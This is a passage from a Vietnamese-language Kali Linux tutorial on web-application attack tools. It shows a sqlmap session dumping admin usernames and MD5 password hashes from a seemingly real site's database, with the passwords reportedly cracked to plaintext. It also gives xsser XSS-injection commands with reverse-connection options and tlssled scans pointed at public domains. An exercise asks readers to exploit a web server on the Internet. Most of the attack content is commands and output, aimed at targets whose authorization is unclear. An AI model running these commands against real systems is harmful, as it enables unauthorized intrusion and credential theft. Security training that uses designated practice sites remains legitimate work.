user@vmkali:~$ python /sqlmap/sqlmap.py -u http://www.abc.com/constructionDetail.php?id=334 -D toto -T account -C username,user\_password --dump

[17:44:20] [INFO] used SQL query returns 2 entries

[17:44:20] [INFO] retrieved: 'b0d38fb7d75823691b324f4df8bbea06','Administrator'

[17:44:20] [INFO] retrieved: '7d27e2e42ebb5a8e51e124cb18c29352','AdminToto'

[17:44:20] [INFO] recognized possible password hashes in column 'user\_password'

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] n

do you want to crack them via a dictionary-based attack? [Y/n/q] n

Database: toto

Table: account

[2 entries]

+---------------+----------------------------------+

| username      | user\_password                    |

+---------------+----------------------------------+

| Administrator | b0d38fb7d75823691b324f4df8bbea06 |

| AdminToto   | 7d27e2e42ebb5a8e51e124cb18c29352 |

+---------------+----------------------------------+

Kết quả đã có username và password mã hóa MD5. Thử decrypt 2 đoạn mã này sử dụng các công cụ hiện có trên mạng và kết quả là mật khẩu cho Administrator là **webrand** và cho AdminToto là **LPadmind.**

NSD cũng có thể tấn công các table quan trọng khác trong database này để lấy được thông tin mình muốn.

## Công cụ sqlmap GUI

user@vmkali:~$ python /usr/share/sqlmap/sqlmapapi.py -s

## Công cụ tlssled

Evaluates the security of a target SSL/TLS (HTTPS) server

user@vmkali:~$ tlssled 192.168.1.10 80

------------------------------------------------------

TLSSLed - (1.3) based on sslscan and openssl

by Raul Siles (www.taddong.com)

------------------------------------------------------

openssl version: OpenSSL 1.1.1c 28 May 2019

------------------------------------------------------

Date: 20210125-210745

------------------------------------------------------

[\*] Analyzing SSL/TLS on 192.168.1.10:80 ...

[.] Output directory: TLSSLed\_1.3\_192.168.1.10\_80\_20210125-210745 ...

[\*] Checking if the target service speaks SSL/TLS...

[.] The target service 192.168.1.10:80 seems to speak SSL/TLS...

[.] Using SSL/TLS protocol version:

user@vmkali:~$ tlssled 192.168.1.140 80

user@vmkali:~$ tlssled www.facebook.com.vn 80

user@vmkali:~$ tlssled WhiteHat.vn 80

## Công cụ xsser khai thác lỗi XSS

CrossSite Scripter (XSSer) là một công cụ tự động hóa nhằm tìm cách phát hiện và khai thác lỗ hổng cho các tập lệnh trực tuyến trong các ứng dụng web và trang web. Ngoài ra còn có một số tùy chọn để tránh phát hiện XSS.

To list all the features XSSer Package “xsser -h”

user@vmkali:~# sudo xsser -h

To launch a simple Injection attack

user@vmkali:~# sudo xsser -u “http://192.168.169.130/xss/example1.php?name=hacker”

Injection from Dork, by selecting “google” as search engine:

user@vmkali:~# sudo xsser –De “google” -d “search.php?q=”

To perform Multiple injections from URL, with Automatic payload, establishing a reverse connection.

user@vmkali:~# sudo xsser -u “http://192.168.169.130/xss/example1.php?name=hacker” –auto –reverse-check -s

user@vmkali:~# sudo xsser -u “http://192.168.169.130/xss/example1.php?name=hacker” -g “/path?vuln=” –Coo –Dom –Fp=”vulnerablescript”

Parameter filtering with heuristics

user@vmkali:~# sudo xsser -u “http://192.168.169.130/xss/example1.php?name=hacker” –heuristic

To Launch GUI Interface

user@vmkali:~# sudo xsser –gtk

user@vmkali:~$

python3 xsser -u 'http://testasp.vulnweb.com' -g 'Search.asp?tfSearch=' -proxy 'http://127.0.0.1:8118? -referer '666.666.666.666? -user-agent 'correct audit' -Fuzz -s

## Các công cụ khác (nếu có)

# Các công cụ GUI Web application analysis

## Công cụ GUI burpsuite

## Công cụ GUI zap

## Công cụ GUI BeEF Framework

## Công cụ GUI openvas

OpenVAS (Open Vulnerability Assessment System) là một framework dùng để quét lỗ hổng bảo mật trong các ứng dụng và hệ thống máy tính. OpenVAS cung cấp nhiều tính năng, bao gồm khả năng quét đa dạng, phân tích lỗ hổng, giao diện web đơn giản và dễ sử dụng, cài đặt và triển khai đơn giản, tài liệu hướng dẫn và hỗ trợ tốt.

OpenVAS cũng cung cấp một số đặc điểm như:

* Quét một hoặc nhiều máy tính cùng một lúc.
* Hỗ trợ quét các hệ thống Windows, Linux, Unix, và nhiều hệ điều hành khác nhau.
* Có khả năng quét các lỗ hổng bảo mật phổ biến như SQL injection, cross-site scripting (XSS), buffer overflow, và nhiều lỗ hổng khác.
* Có khả năng tạo ra các báo cáo về các lỗ hổng bảo mật đã được phát hiện.

# BÀI TẬP

1. Khai thác và sử dụng các công cụ của Kali để quét thông tin và dò tìm các lỗ hổng của một WebServer trên Internet.
2. Tìm hiểu và khai thác các công cụ GUI Web application analysis của Kali Linux.

# Các Website thực hành khai thác lỗ hổng

http://demo.testfire.net

http://php.testsparker.com

http://testasp.vulnweb.com

http://testphp.vulnweb.com

http://testhtml5.vulnweb.com

http://aspnet.testsparker.com

http://zero.webappsecurity.com

-----------------------------------------------